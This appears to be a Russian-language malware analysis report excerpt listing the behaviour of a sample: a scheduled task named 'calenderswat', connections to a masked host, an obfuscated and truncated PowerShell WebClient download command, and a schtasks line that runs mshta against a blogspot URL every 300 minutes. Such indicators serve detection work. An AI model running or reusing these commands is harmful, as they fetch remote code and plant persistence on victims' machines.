Техническая информация
- <SYSTEM32>\tasks\calenderswat
- 'bi###cket.org':443
- 'bi###cket.org':443
- DNS ASK bi###cket.org
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' $MMMMMMM=((n`e`W`-Obj`E`c`T (('Net'+''+''+''+''+''+''+''+''+''+'.'+'W'+'eb'+'c'+''+''+''+''+''+''+''+''+''+'lient'))).(('D'+''+''+''+''+''+''+''+''+''+'o'+'w'+'n'+''+''+''+''+''+''+''+''+''+'l'...' (со скрытым окном)
- '%WINDIR%\syswow64\schtasks.exe' /create /sc MINUTE /mo 300 /tn calenderswAT /F /tr """mshta""""""https://openforce123.blogspot.com/p/devis1back_6.html"""' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' $MMMMMMM=((n`e`W`-Obj`E`c`T (('Net'+''+''+''+''+''+''+''+''+''+'.'+'W'+'eb'+'c'+''+''+''+''+''+''+''+''+''+'lient'))).(('D'+''+''+''+''+''+''+''+''+''+'o'+'w'+'n'+''+''+''+''+''+''+''+''+''+'l'...
- '%WINDIR%\syswow64\schtasks.exe' /create /sc MINUTE /mo 300 /tn calenderswAT /F /tr """mshta""""""https://openforce123.blogspot.com/p/devis1back_6.html"""